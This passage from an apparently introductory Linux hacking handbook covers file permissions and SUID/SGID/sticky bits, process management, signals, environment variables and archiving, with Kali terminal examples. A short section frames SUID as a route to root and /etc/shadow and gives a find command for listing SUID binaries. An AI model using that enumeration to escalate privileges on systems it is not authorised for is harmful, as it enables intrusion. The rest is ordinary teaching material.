inherits the permissions of the file’s owner (often root) during the execution of that
file. This allows the program to perform tasks that would otherwise require root
privileges, but the elevated permissions are limited to the execution of that specific
file and do not extend beyond it.
To set the SUID bit, you prepend a 4 to the file’s permission code. For instance, if a
file has permissions 644 (read and write for the owner, and read-only for the
group and others), setting the SUID bit changes the permission code to 4644 . This
ensures that the file retains its original permissions while enabling the SUID
functionality.
Setting the SUID bit is typically done by system administrators and is not something
an average user would configure. To set the SUID bit on a file, you use the chmod
command. For example:
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 4644 test1
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 0
-rwSr--r-- 1 kali kali 0 Feb 27 11:30 test1
-rw-r----- 1 kali kali 0 Feb 27 11:32 test2
• When the SUID bit is set on a file, any user who executes the file temporarily
inherits the permissions of the file’s owner (in this case, kali ) during
execution.
• This is useful for programs that need elevated privileges (e.g., changing
passwords), but it should be used carefully to avoid security risks.
95
5/26/25, 7:47 PM
NCA's Hacking Handbook
Granting the Root User’s Group Permissions SGID
The SGID (Set Group ID) bit is a special permission in Linux that grants temporary
elevated permissions, but unlike SUID, it grants the permissions of the file owner’s
group rather than the file owner themselves. This means that if the SGID bit is set
on a file, any user who executes the file will temporarily inherit the permissions of
the group associated with the file, even if they don’t belong to that group. This is
particularly useful for files that need to be executed by multiple users who share
the same group permissions. For example, if a file is owned by the group
developers and has the SGID bit set, any user running the file will execute it with
the permissions of the developers group, regardless of their own group
membership.
When the SGID bit is applied to a directory, it behaves differently. In this case, any
new files or subdirectories created within that directory will inherit the group
ownership of the parent directory, rather than the primary group of the user who
created the file. This is especially useful in shared environments where multiple
users need to collaborate and access files within the same directory. For instance,
if a directory has the SGID bit set and is owned by the group team , any file created
within that directory will automatically belong to the team group, ensuring
seamless collaboration among group members.
To set the SGID bit, you add a 2 before the regular permission code. For example, if
a file has permissions 644 (read and write for the owner, and read-only for the
group and others), setting the SGID bit changes the permission code to 2644 . You
can set the SGID bit using the chmod command, For example:
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 2644 test2
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 0
-rwSr--r-- 1 kali kali 0 Feb 27 11:30 test1
-rw-r-Sr-- 1 kali kali 0 Feb 27 11:32 test2
Sticky Bit
96
5/26/25, 7:47 PM
NCA's Hacking Handbook
The sticky bit in Linux is a special permission applied to directories to restrict file
deletion. When the sticky bit is set, only the owner of a file, the owner of the
directory, or the root user can delete or rename files within that directory, even if
other users have write permissions. This feature is particularly useful in shared
directories, such as /tmp , where multiple users have access. Without the sticky
bit, any user with write access could delete or modify files owned by others. By
enabling it, system administrators can prevent accidental or malicious file deletions
in shared spaces, ensuring better security and control.
┌──(kali㉿kali)-[~/Desktop]
└─$ mkdir test
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod +t test
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
drwxr-x--T 2 kali kali 4096 Feb 27 12:00 test
•
•
t (lowercase) → Sticky bit is set, and others have execute ( x ) permission.
Example: drwxrwxrwt (like /tmp ).
T (uppercase) → Sticky bit is set, but others do not have execute ( x )
permission.
Special Permissions and Privilege Escalation
As a hacker, special permissions can be exploited to gain privilege escalation in
Linux systems, allowing a regular user to obtain root or sysadmin privileges. Once
root access is achieved, you gain complete control over the system.
One common way to escalate privileges is by exploiting the SUID bit. System
administrators or developers often set the SUID bit on certain programs to allow
them to execute with elevated privileges. For example, scripts that manage
password changes typically have the SUID bit enabled. As an attacker, you can
leverage this permission to gain temporary root access, potentially accessing
sensitive files like /etc/shadow , which stores system passwords.
97
5/26/25, 7:47 PM
NCA's Hacking Handbook
To identify files with the SUID bit on a Kali Linux system, we can use the find
command. Previously, in Chapter 1, we explored the power of the find command,
which allows precise file searches. Unlike simpler commands like locate or which,
find has a more complex syntax, but it offers greater flexibility. If needed, you can
review its syntax before proceeding.
In this case, we want to search the entire filesystem for files owned by root that
have the SUID permission bit (4000). The following find command accomplishes
this:
┌──(kali㉿kali)-[~/Desktop]
└─$ find / -user root -perm -4000 2>/dev/null
/usr/lib/chromium/chrome-sandbox
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/bin/rsh-redone-rlogin
/usr/bin/ntfs-3g
/usr/bin/kismet_cap_nrf_52840
/usr/bin/pkexec
/usr/bin/mount
---snip---
1.
find /
→ Starts searching from the root ( / ) directory, meaning it will scan
the entire filesystem.
2.
user root
→ Filters results to show only files owned by the root user.
3.
perm -4000
→ Searches for files with the SUID (Set User ID) bit set. The 4000
4.
permission indicates that the file runs with the privileges of its owner (root).
2>/dev/null
→ Redirects error messages to /dev/null , preventing
permission-denied errors from being displayed.
This command is used to find all SUID-enabled files owned by root. These files can
be potential security risks because they allow privilege escalation if exploited.
Hackers or pentesters use this to identify weak points in a system.
98
5/26/25, 7:47 PM
NCA's Hacking Handbook
Process Management
In Linux, a process is an instance of a running program, encompassing the
program's code, current activity, and system resources such as memory, CPU, and
file descriptors. Each process is uniquely identified by a Process ID (PID) and
operates independently, though processes can communicate and interact through
mechanisms like pipes, signals, or shared memory. Processes are created through
a mechanism called "forking," where a parent process duplicates itself to create a
child process, which can then execute a different program using the "exec" system
call.
Process management in Linux involves controlling and monitoring these processes
to ensure efficient system operation. The kernel handles process scheduling,
resource allocation, and state transitions (e.g., running, sleeping, stopped, or
terminated). Tools like ps , top , htop , and pgrep allow users to view and
manage processes. Commands such as kill , pkill , and nice enable users to
terminate processes, send signals, or adjust process priorities, respectively. The
init process (or modern alternatives like systemd ) acts as the root of all
processes, managing system startup, shutdown, and orphaned processes.
Effective process management ensures optimal system performance, resource
utilization, and stability.
Viewing Processes
In Linux, managing processes typically begins with identifying which processes are
currently running on the system. The primary tool for this purpose is the ps
command, which is indispensable for Linux administrators. When you run the ps
command without any options, it displays a basic list of processes initiated by the
currently logged-in user and running on the active terminal. For example, running
ps might show output like this:
99
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ ps
PID TTY
TIME CMD
1377 pts/0
00:00:00 bash
1488 pts/0
00:00:00 ps
Here, the Linux kernel assigns a unique Process ID (PID) to each process
sequentially as they are created. The PID is crucial because it is often required
when performing actions on a specific process, such as terminating or prioritizing
it. However, the default ps output is limited, showing only the processes associated
with the current user and terminal. To gain a comprehensive view of all processes
running on the system, including those initiated by other users and background
system processes, you can use the ps aux command. This command provides
detailed information about every process, as shown below:
┌──(kali㉿kali)-[~/Desktop]
└─$ ps aux
USER
PID %CPU %MEM
VSZ
RSS TTY
COMMAND
root
1 0.7 0.6 22560 13600 ?
/sbin/init splash
root
2 0.0 0.0
0
0 ?
[kthreadd]
root
3 0.0 0.0
0
0 ?
[pool_workqueue_release]
root
4 0.0 0.0
0
0 ?
[kworker/R-rcu_gp]
root
5 0.0 0.0
0
0 ?
[kworker/R-sync_wq]
root
6 0.0 0.0
0
0 ?
[kworker/R-slub_flushwq]
root
7 0.0 0.0
0
0 ?
[kworker/R-netns]
root
8 0.0 0.0
0
0 ?
[kworker/0:0-events]
---snip---
STAT START
TIME
Ss
05:44
0:00
S
05:44
0:00
S
05:44
0:00
I<
05:44
0:00
I<
05:44
0:00
I<
05:44
0:00
I<
05:44
0:00
I
05:44
0:00
The ps aux output includes a wealth of information, such as the user who started
the process, the PID, CPU and memory usage, and the command that launched the
process. Key columns to focus on are:
• USER: The user who initiated the process.
100
5/26/25, 7:47 PM
NCA's Hacking Handbook
• PID: The unique process ID.
• %CPU: The percentage of CPU resources the process is using.
• %MEM: The percentage of memory the process is consuming.
• COMMAND: The command or program associated with the process.
This detailed view is essential for understanding system activity and managing
processes effectively. By identifying the PID and other attributes, administrators
can take specific actions, such as terminating unwanted processes or adjusting
resource allocation, to maintain system performance and stability.
Filtering by Running Process
When working with processes in Linux, it’s often unnecessary to view all running
processes at once, as the sheer volume of information can be overwhelming.
Instead, you typically want to focus on a specific process or a set of related
processes. To achieve this, you can use the grep command to filter the output of
ps aux and narrow down the results to only those processes that match a
particular name or keyword. This approach is especially useful when dealing with
resource-intensive applications or services.
For example, let’s consider the Apache web server, a widely used software for
hosting websites. Suppose you want to check if Apache is running and assess its
resource usage. You can start by filtering the ps aux output for processes related
to Apache using the following command:
101
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ date
Fri Feb 28 05:58:14 AM EST 2025
┌──(kali㉿kali)-[~/Desktop]
└─$ service apache2 start
┌──(kali㉿kali)-[~/Desktop]
└─$ ps aux | grep apache2
root
7800 0.2 1.1 207752 22788 ?
/usr/sbin/apache2 -k start
www-data
7802 0.0 0.6 208584 12344 ?
/usr/sbin/apache2 -k start
www-data
7803 0.0 0.6 208584 12184 ?
/usr/sbin/apache2 -k start
www-data
7804 0.0 0.6 208584 12344 ?
/usr/sbin/apache2 -k start
www-data
7805 0.0 0.6 208584 12344 ?
/usr/sbin/apache2 -k start
www-data
7806 0.0 0.5 208584 12052 ?
/usr/sbin/apache2 -k start
kali
7836 0.0 0.1
6452 2320 pts/0
--color=auto apache2
Ss
05:58
0:00
S
05:58
0:00
S
05:58
0:00
S
05:58
0:00
S
05:58
0:00
S
05:58
0:00
S+
05:58
0:00 grep
Identifying Resource-Intensive Processes
Using top
When you run the ps command, processes are displayed in the order they were
started. Since the kernel assigns Process IDs (PIDs) sequentially, the output is
essentially ordered by PID. However, in many cases, we’re more interested in
identifying which processes are consuming the most system resources. This is
where the top command becomes invaluable. Unlike ps , which provides a static
snapshot of processes, top dynamically refreshes the list—by default, every 10
seconds—and sorts processes by resource usage, starting with the most
demanding ones.
For example, running top in the terminal might display something like this:
102
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ top
top - 06:04:12 up 19 min, 2 users, load average: 0.01, 0.06, 0.07
Tasks: 157 total,
1 running, 156 sleeping,
0 stopped,
0 zombie
%Cpu(s): 2.5 us, 4.6 sy, 0.0 ni, 92.3 id, 0.2 wa, 0.0 hi, 0.4 si,
0.0 st
MiB Mem :
1974.1 total,
946.9 free,
722.8 used,
472.6
buff/cache
MiB Swap:
1024.0 total,
1024.0 free,
0.0 used.
1251.3 avail
Mem
PID USER
COMMAND
693 root
Xorg
1374 kali
qterminal
1025 kali
xfwm4
1086 kali
panel-15-genmon
1094 kali
panel-22-action
PR
NI
20
VIRT
RES
SHR S
%CPU
%MEM
TIME+
0
509716 164036
79504 S
12.3
8.1
0:24.62
20
0
466816 106632
92220 S
5.0
5.3
0:02.40
20
0
983216 126004
83776 S
1.0
6.2
0:03.45
20
0
338100
27996
20756 S
0.3
1.4
0:02.16
20
0
385768
39456
31256 S
0.3
2.0
0:00.11
System administrators often keep top running in a terminal to monitor resource
usage in real time. As a hacker, you might find this equally useful, especially when
managing multiple tasks on your system. While top is running, you can press H
or ? to view a list of interactive commands, or press Q to exit
Managing Multiple Processes
A hacker might run a port scanner alongside a vulnerability scanner and an exploit
at the same time. To ensure optimal use of system resources and successful task
completion, efficient process management is essential. In this section, I'll guide you
through the steps to effectively manage multiple processes.
Service and Process Management
103
5/26/25, 7:47 PM
NCA's Hacking Handbook
Services can be broadly categorized into two types: internal services and userinstalled services.
1. Internal Services: These are essential services required during system startup.
They typically handle hardware-related tasks, system initialization, and core
operating system functions. Examples include services that manage device
drivers, network configurations, or system logging. These services ensure the
system operates smoothly from the moment it boots up.
2. User-Installed Services: These are services installed by the user, often to
enable specific functionalities or applications. Common examples include
server services like web servers (e.g., Apache or Nginx), database servers
(e.g., MySQL), or remote access tools (e.g., SSH). These services are designed
to run in the background, operating without direct user interaction.
Services that run in the background are often referred to as daemons. Daemons
are typically identified by the letter 'd' at the end of their program names. For
instance, sshd is the daemon for the SSH (Secure Shell) service, and systemd is
a system management daemon responsible for initializing and managing other
services during boot.
Starting a Service
┌──(kali㉿kali)-[~/Desktop]
└─$ systemctl start apache2
Checking Service Status
104
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌─(kali㉿kali)-[~/Desktop]
└─$ systemctl status <service_name>
┌──(kali㉿kali)-[~/Desktop]
└─$ systemctl status apache2
● apache2.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled;
preset: disabled)
Active: active (running) since Fri 2025-02-28 10:03:37 EST; 3min
24s ago
Invocation: 4dac895eb8844d5594c762d24647712f
Docs: https://httpd.apache.org/docs/2.4/
Process: 4671 ExecStart=/usr/sbin/apachectl start (code=exited,
status=0/SUCCESS)
Main PID: 4689 (apache2)
Tasks: 6 (limit: 2219)
Memory: 20.4M (peak: 20.7M)
CPU: 90ms
CGroup: /system.slice/apache2.service
├─4689 /usr/sbin/apache2 -k start
├─4693 /usr/sbin/apache2 -k start
├─4694 /usr/sbin/apache2 -k start
├─4695 /usr/sbin/apache2 -k start
├─4696 /usr/sbin/apache2 -k start
└─4697 /usr/sbin/apache2 -k start
Feb 28 10:03:37 kali systemd[1]: Starting apache2.service - The Apache
HTTP Server...
Feb 28 10:03:37 kali apachectl[4688]: AH00558: apache2: Could not
reliably determine the server's fully qualified domain name, using 1>
Feb 28 10:03:37 kali systemd[1]: Started apache2.service - The Apache
HTTP Server.
lines 1-21/21 (END)
Terminating Processes
Sometimes, a process may start consuming excessive system resources, behave
abnormally, or even freeze entirely. Such a process is often referred to as a zombie
process. Zombie processes can be particularly problematic because they waste
valuable system resources that could otherwise be allocated to productive tasks.
Identifying and terminating these problematic processes is an essential skill for
maintaining system efficiency.
105
5/26/25, 7:47 PM
NCA's Hacking Handbook
When you encounter a misbehaving process, you can stop it using the kill
command. This command allows you to send specific signals to a process,
instructing it to terminate or behave in a certain way. There are 64 different kill
signals, each serving a slightly different purpose. However, only a handful of these
signals are commonly used in practice.
The basic syntax for the kill command is:
┌──(kali㉿kali)-[~/Desktop]
└─$ kill -<signal> <PID>
Controlling Processes with Signals
Processes can be managed using commands like kill , pkill , pgrep , and
killall . These tools allow you to send signals to processes, instructing them to
perform specific actions such as terminating, pausing, or restarting. Each signal
has a unique purpose and behavior.
Viewing Available Signals
To see a list of all available signals, you can use the following command:
┌──(kali㉿kali)-[~/Desktop]
└─$ kill -l
1) SIGHUP
2) SIGINT
SIGTRAP
6) SIGABRT
7) SIGBUS
SIGUSR1
---snip---
3) SIGQUIT
4) SIGILL
5)
8) SIGFPE
9) SIGKILL
10)
Common Signals and Their Uses
Below is a table of the most commonly used signals, along with their descriptions
and typical use cases:
Signal Number
Signal Name
Description
106
5/26/25, 7:47 PM
NCA's Hacking Handbook
SIGHUP
Sent to a process when the
terminal controlling it is
closed. Often used to reload
configurations (e.g., for
daemons).
SIGINT
Sent when the user presses
Ctrl+C in the terminal.
Interrupts and terminates
the process gracefully.
SIGQUIT
Sent when the user presses
Ctrl+. Causes the process
to quit and generate a core
dump (for debugging).
SIGKILL
Forces the process to
terminate immediately
without cleanup. Use as a
last resort for unresponsive
processes.
15
SIGTERM
Requests the process to
terminate gracefully,
allowing it to clean up
resources before exiting.
19
SIGSTOP
Pauses the process. It
cannot be handled or
ignored by the process.
SIGTSTP
Sent when the user presses
Ctrl+Z. Suspends the
process, but it can be
resumed later.
1
2
3
9
20
┌──(kali㉿kali)-[~/Desktop]
└─$ ps aux | grep 'nano'
kali
44000 0.0 0.1
welcome.txt
6956
3812 pts/0
S+
11:25
0:00 nano
┌──(kali㉿kali)-[~/Desktop]
└─$ kill -9 44000 # Forcefully kills the process with PID 44000
Killing a Process
107
5/26/25, 7:47 PM
┌──(kali㉿kali)-[~/Desktop]
└─$ ps aux | grep 'nano'
kali
13831 0.0 0.1
hello.txt
kali
13881 0.0 0.1
--color=auto nano
NCA's Hacking Handbook
6956
3812 pts/0
S+
10:22
0:00 nano
6452
2212 pts/2
S+
10:22
0:00 grep
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo kill 13831
Running Processes in the Background
In a command-line environment, you can run processes in the background,
allowing you to continue using the terminal for other tasks while the process
executes. This is particularly useful for long-running tasks, such as file transfers,
compilations, or server operations, where you don’t need to monitor the process
continuously.
Using the & Operator:
┌──(kali㉿kali)-[~/Desktop]
└─$ sleep 100 &
[1] 24213
Moving a Process to the Background
If you’ve already started a process in the foreground, you can pause it using CTRL
+ Z and then move it to the background with the bg command.
Bringing a Background Process to the Foreground
If you have a process running in the background and want to bring it back to the
foreground, you can use the fg (foreground) command. This command allows
you to resume control of the process in your terminal session.
Run the jobs command to list all background processes and their job IDs:
108
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ jobs
[2]+ Running
#job id
┌──(kali㉿kali)-[~/Desktop]
└─$ fg %2
## Here, [2] is the job ID for the sleep 400 process.
sleep 400
109
5/26/25, 7:47 PM
NCA's Hacking Handbook
User Environment Variables
Environment variables are dynamic values that play a crucial role in defining the
behavior and configuration of processes and applications within an operating
system. They act as key-value pairs, where each variable holds specific information
that can be accessed by programs, scripts, or the system itself. These variables
can store a wide range of data, such as file paths, user preferences, system
settings, or even sensitive information like API keys and passwords.
Some common examples include:
•
•
•
PATH : Specifies directories where executable programs are located.
HOME : Points to the current user’s home directory.
USER : Stores the username of the current user.
Environment variables are used in Linux to configure and customize the behavior
of the system, applications, and processes. They store key-value pairs that define
settings like file paths, user preferences, and system configurations, enabling
programs to adapt to different environments dynamically. For example, the PATH
variable tells the system where to find executable programs, while HOME points to
the user’s home directory. Environment variables also enhance security by storing
sensitive data like API keys or passwords outside of code, reducing the risk of
exposure. They simplify scripting by allowing scripts to access shared data, and
they ensure cross-platform compatibility by providing a consistent way to manage
configurations across different systems. Overall, environment variables make Linux
systems more flexible, secure, and user-friendly.
Viewing and Modifying Environment
Variables
To list all environment variables, use the printenv or env command:
110
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ env
SHELL=/usr/bin/bash
SESSION_MANAGER=local/kali:@/tmp/.ICE-unix/913,unix/kali:/tmp/.ICEunix/913
WINDOWID=0
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg
XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
XDG_MENU_PREFIX=xfcePOWERSHELL_UPDATECHECK=Off
---snip--┌──(kali㉿kali)-[~/Desktop]
└─$ printenv
SHELL=/usr/bin/bash
SESSION_MANAGER=local/kali:@/tmp/.ICE-unix/913,unix/kali:/tmp/.ICEunix/913
WINDOWID=0
---snip---
Environment variables are always uppercase, as in HOME, PATH, SHELL , and so on.
These are only the default environment variables that come on your system. A user
can also create their own variables, and as you will see, we need a different
command to include those in the output.
Filtering for Particular Variables
Although using set with more provides more manageable results than sifting
through the extensive list of variable names generated by set alone, it can still be
quite time-consuming if you're searching for a specific variable. A more efficient
approach is to use the filtering command grep to pinpoint the variable you're
interested in.
Let’s consider the variable PATH as an example. This variable contains a list of
directories that your shell searches through when you execute a command. These
directories are checked in the order they appear in the PATH variable, and the first
111
5/26/25, 7:47 PM
NCA's Hacking Handbook
matching executable found is the one that runs. Note that PATH doesn’t store the
actual commands, but rather the locations where the system looks for them.
To find the PATH variable, you can pipe the output of set to grep like this:
┌──(kali㉿kali)-[~/Desktop]
└─$ set | grep PATH
BASH_LOADABLES_PATH=/usr/local/lib/bash:/usr/lib/bash:/opt/local/lib/ba
sh:/usr/pkg/lib/bash:/opt/pkg/lib/bash:.
PATH=/home/kali/.local/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/b
in:/usr/bin:/bin:/usr/local/games:/usr/games:/home/kali/.dotnet/tools
XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
local PATH=$PATH:/sbin;
_comp_compgen -c
---snip---
This will filter the output of set to display only the lines containing the PATH
variable, making it easier to locate and inspect.
Changing Variable Values for a Session
In a shell session, you can modify the values of environment variables to customize
your environment or control specific behaviors. Let’s explore how to change a
variable’s value using the PS1 variable as an example. This variable defines the
appearance of your shell prompt. By default, it displays basic information like the
username, hostname, and current directory, but you can customize it to include
additional details or change its format.
For instance, if you want to simplify your prompt to show only the current directory,
you can modify the PS1 variable as follows:
┌──(kali㉿kali)-[~/Desktop]
└─$ PS1="\w\$ "
~/Desktop$ ls
112
5/26/25, 7:47 PM
NCA's Hacking Handbook
After making this change, your prompt will display only the current working
directory followed by a $ symbol.
Understanding and Modifying Your PATH
Variable
One of the most critical environment variables in your system is the PATH variable.
It determines where your shell looks for executable commands when you type them
in the terminal. For example, when you enter commands like cd , ls , or echo , the
shell searches through the directories listed in the PATH variable to find and
execute those commands. Most system commands are located in directories such
as /usr/local/sbin , /usr/local/bin , /usr/sbin , and /bin . If the shell can’t
find a command in any of the directories listed in PATH , it will return an error like
command not found , even if the command exists in a directory not included in
PATH .
To view the directories currently in your PATH variable, you can use the echo
command:
┌──(kali㉿kali)-[~/Desktop]
└─$ echo $PATH
/home/kali/.local/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/u
sr/bin:/bin:/usr/local/games:/usr/games:/home/kali/.dotnet/tools
These are the directories where your terminal searches for commands. For
instance, when you type ls , the system checks each of these directories in order,
finds the ls executable, and runs it. Each directory in the PATH is separated by a
colon ( : ).
Adding a Directory to Your PATH Variable
Understanding your PATH is important because it affects how you use tools and
commands. For example, if you install a new tool, say newhackingtool , in a
directory like /root/newhackingtool , you won’t be able to run commands from this
113
5/26/25, 7:47 PM
NCA's Hacking Handbook
tool unless you’re in that directory. This can be inconvenient if you need to use the
tool frequently.
To make the tool accessible from any directory, you need to add its directory to
your PATH variable. Here’s how you can do it:
┌──(kali㉿kali)-[~/Desktop]
└─$ PATH=$PATH:/root/ncateam
This command appends /root/ncateam to the existing PATH variable. Now, when
you check the PATH again, you’ll see the new directory added:
┌──(kali㉿kali)-[~/Desktop]
└─$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/ncat
eam
With this change, you can run commands from newhackingtool from any
directory, as the shell will now search /root/ncateam for executables.
A Common Mistake: Overwriting the PATH
Variable
A common mistake beginners make is overwriting the PATH variable instead of
appending to it. For example, if you run:
┌──(kali㉿kali)-[~/Desktop]
└─$ PATH=/root/ncateam
Your PATH will now only include /root/ncateam , and none of the default system
directories like /bin , /sbin , or /usr/bin . This means essential system
commands like cd , ls , or echo will no longer work, and you’ll see errors like:
114
5/26/25, 7:47 PM
NCA's Hacking Handbook
Creating a User-Defined Variable
In the shell, you can create your own custom variables, known as user-defined
variables, to store data, simplify tasks, or customize your environment. These
variables are particularly useful for avoiding repetitive typing and making your
workflow more efficient. To create a user-defined variable, you simply assign a
value to a name of your choice. For example, if you frequently work with a directory
like /root/my_tools , you can create a variable called MY_TOOL_DIR and assign the
directory path to it: MY_TOOL_DIR="/root/my_tools" . Once defined, you can access
the value of the variable using the $ symbol, such as echo $MY_TOOL_DIR , which
will output /root/my_tools .
User-defined variables can be used in place of hardcoded values in commands. For
instance, instead of typing cd /root/my_tools every time you want to navigate to
that directory, you can simply use cd $MY_TOOL_DIR . This not only saves time but
also reduces the chance of errors. If you want the variable to be available in child
processes or scripts, you can export it using the export command, like export
MY_TOOL_DIR . However, by default, user-defined variables are temporary and only
exist for the current shell session. To make them persistent across sessions, you
can add the variable definition to your shell’s configuration file, such as .bashrc or
.zshrc . For example, adding export MY_TOOL_DIR="/root/my_tools" to .bashrc
ensures the variable is available every time you open a new terminal.
A practical use case for user-defined variables is simplifying access to frequently
used scripts or tools. For example, if you have a script located at
/root/scripts/myscript.sh , you can create a variable like
MY_SCRIPT="/root/scripts/myscript.sh" and run the script with bash
$MY_SCRIPT . This approach eliminates the need to remember or type long paths
repeatedly. By leveraging user-defined variables, you can make your shell
environment more efficient, organized, and tailored to your specific needs.
115
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ message='hello world'
┌──(kali㉿kali)-[~/Desktop]
└─$ echo $message
hello world
┌──(kali㉿kali)-[~/Desktop]
└─$ unset message
┌──(kali㉿kali)-[~/Desktop]
└─$ echo $message
command in the shell is used to remove or delete a variable (or a function)
from the environment.
unset
116
5/26/25, 7:47 PM
NCA's Hacking Handbook
Compressing and Archiving
Compression
In Linux, compression refers to the process of reducing the size of files or data by
encoding information more efficiently, thereby saving storage space and improving
data transfer speeds. This is achieved through the use of compression algorithms,
which analyze the data to eliminate redundancy or represent it in a more compact
form. Compression is particularly useful for managing large files, archiving multiple
files into a single package, or transmitting data over networks with limited
bandwidth. Linux supports a wide variety of compression tools and formats, each
with its own strengths and trade-offs in terms of compression ratio, speed, and
resource usage.
Compression in Linux can be either lossless or lossy. Lossless compression
ensures that no data is lost during the process, making it ideal for text files,
executables, and other data where integrity is critical. Tools like gzip, bzip2, and xz
fall into this category. On the other hand, lossy compression, often used for media
files like images, audio, and video, sacrifices some data quality to achieve
significantly smaller file sizes.
Archiving
Archiving in Linux refers to the process of combining multiple files and directories
into a single file, often referred to as an archive. This archive preserves the
directory structure, file permissions, and metadata of the original files. Archiving is
typically done using the tar (Tape Archive) command, which is one of the most
commonly used tools for this purpose in Linux. The archive itself is not compressed
by default, but it can be combined with compression tools like gzip, bzip2, or xz to
reduce its size.
Why is Archiving Used?
117
5/26/25, 7:47 PM
NCA's Hacking Handbook
Archiving serves several important purposes in Linux and computing in general:
1. File Organization:
• Archiving allows you to bundle multiple files and directories into a single file,
making it easier to manage and organize data. This is especially useful
when dealing with large numbers of files or complex directory structures.
2. Backup and Restore:
• Archiving is commonly used for creating backups of important data. By
combining files into a single archive, you can easily copy, move, or store
them as a single unit. This simplifies the backup process and ensures that
all related files are preserved together.
3. Data Transfer:
• When transferring multiple files over a network or via removable media,
archiving reduces the number of individual files that need to be handled.
This makes the transfer process faster and more efficient. Compressing the
archive further reduces its size, saving bandwidth and storage space.
4. Preservation of File Attributes:
• Archiving tools like tar preserve file permissions, ownership, timestamps,
and directory structures. This is crucial when you need to restore files to
their original state, such as during system recovery or software deployment.
5. Software Distribution:
• Many software packages and source code distributions are distributed as
archived files (e.g., .tar.gz or .tar.xz ). This ensures that all necessary
files are included and that the directory structure is maintained.
6. Long-Term Storage:
• Archiving is often used for long-term storage of data that is not frequently
accessed. By combining files into an archive and optionally compressing
them, you can save storage space and keep related files together for future
reference.
Tarring Files Together
Tarring refers to the process of creating an archive using the tar command,
which stands for Tape Archive. This command is used to bundle multiple files and
118
5/26/25, 7:47 PM
NCA's Hacking Handbook
directories into a single file, known as a tarball (with a .tar extension). The
primary purpose of tarring is to combine files and directories into one cohesive unit
while preserving their directory structure, file permissions, timestamps, and other
metadata. This makes it easier to manage, transfer, or back up large collections of
files. For example, if you have a folder containing multiple files and subdirectories,
you can use the tar command to create a single .tar file that encapsulates all of
them. However, it’s important to note that tarring itself does not compress the files;
it simply packages them together. To reduce the size of the archive, you can
combine tarring with compression tools like gzip , bzip2 , or xz , resulting in
compressed archive formats such as .tar.gz , .tar.bz2 , or .tar.xz . Tarring is
widely used in Linux for tasks like creating backups, distributing software, or
organizing files for efficient storage and transfer.
┌──(kali㉿kali)-[~/Desktop]
└─$ mkdir folder1 folder2 && touch file1.txt file2.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ tar -cvf myarchive.tar folder1 folder2 file1.txt file2.txt
folder1/
folder2/
file1.txt
file2.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
file1.txt file2.txt folder1
•
•
•
•
folder2
myarchive.tar
c : Create a new archive.
v : Verbose mode (shows the files being added to the archive).
f : Specifies the name of the archive file ( myarchive.tar ).
folder1 folder2 file1.txt file2.txt : The files and folders to be archived.
Compressing files
Now that we have an archived file, you may notice that the .tar file is actually
larger than the combined size of the original files. This is because the tar
command only bundles files together without reducing their size. To make the
119
5/26/25, 7:47 PM
NCA's Hacking Handbook
archive smaller and easier to transport, you can compress it using one of Linux's
compression tools. Linux offers several commands for this purpose, each with its
own advantages and file extensions
gzip creates files with the .tar.gz or .tgz extension, bzip2 uses .tar.bz2 , and
compress uses .tar.z . To compress your myarchive.tar file, you can use any
of these tools depending on your needs for compression ratio, speed, and
compatibility. For instance, gzip myarchive.tar will create a compressed file
named myarchive.tar.gz , while bzip2 myarchive.tar will produce
myarchive.tar.bz2 . These compressed files are significantly smaller and more
efficient for storage or transfer.
Compressing with gzip
Compress Multiple Files
To compress multiple files (e.g., file1.txt , file2.txt ), you can use a loop or
compress them individually:
┌──(kali㉿kali)-[~/Desktop]
└─$ gzip file1.txt file2.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
file1.txt.gz file2.txt.gz folder1
folder2
myarchive.tar
Compress a Tar Archive
If you have a .tar archive (e.g., myarchive.tar ), you can compress it using gzip:
┌──(kali㉿kali)-[~/Desktop]
└─$ gzip myarchive.tar
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
file1.txt.gz file2.txt.gz folder1
folder2
myarchive.tar.gz
120
5/26/25, 7:47 PM
NCA's Hacking Handbook
Compressing with bzip2
The primary difference between bzip2 and gzip lies in their compression
algorithms, performance, and use cases. bzip2 generally provides a higher
compression ratio compared to gzip, meaning it can reduce file sizes more
effectively. This makes bzip2 a better choice when storage space is a priority,
especially for large files or archives. However, this comes at the cost of speed, as
bzip2 is slower than gzip in both compression and decompression. On the other
hand, gzip is faster and more efficient for smaller files or situations where quick
access to compressed data is needed. While gzip uses the .gz extension,
bzip2 uses .bz2 , making it easy to identify the compression method used.
Compress a File
┌──(kali㉿kali)-[~/Desktop]
└─$ bzip2 file1.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
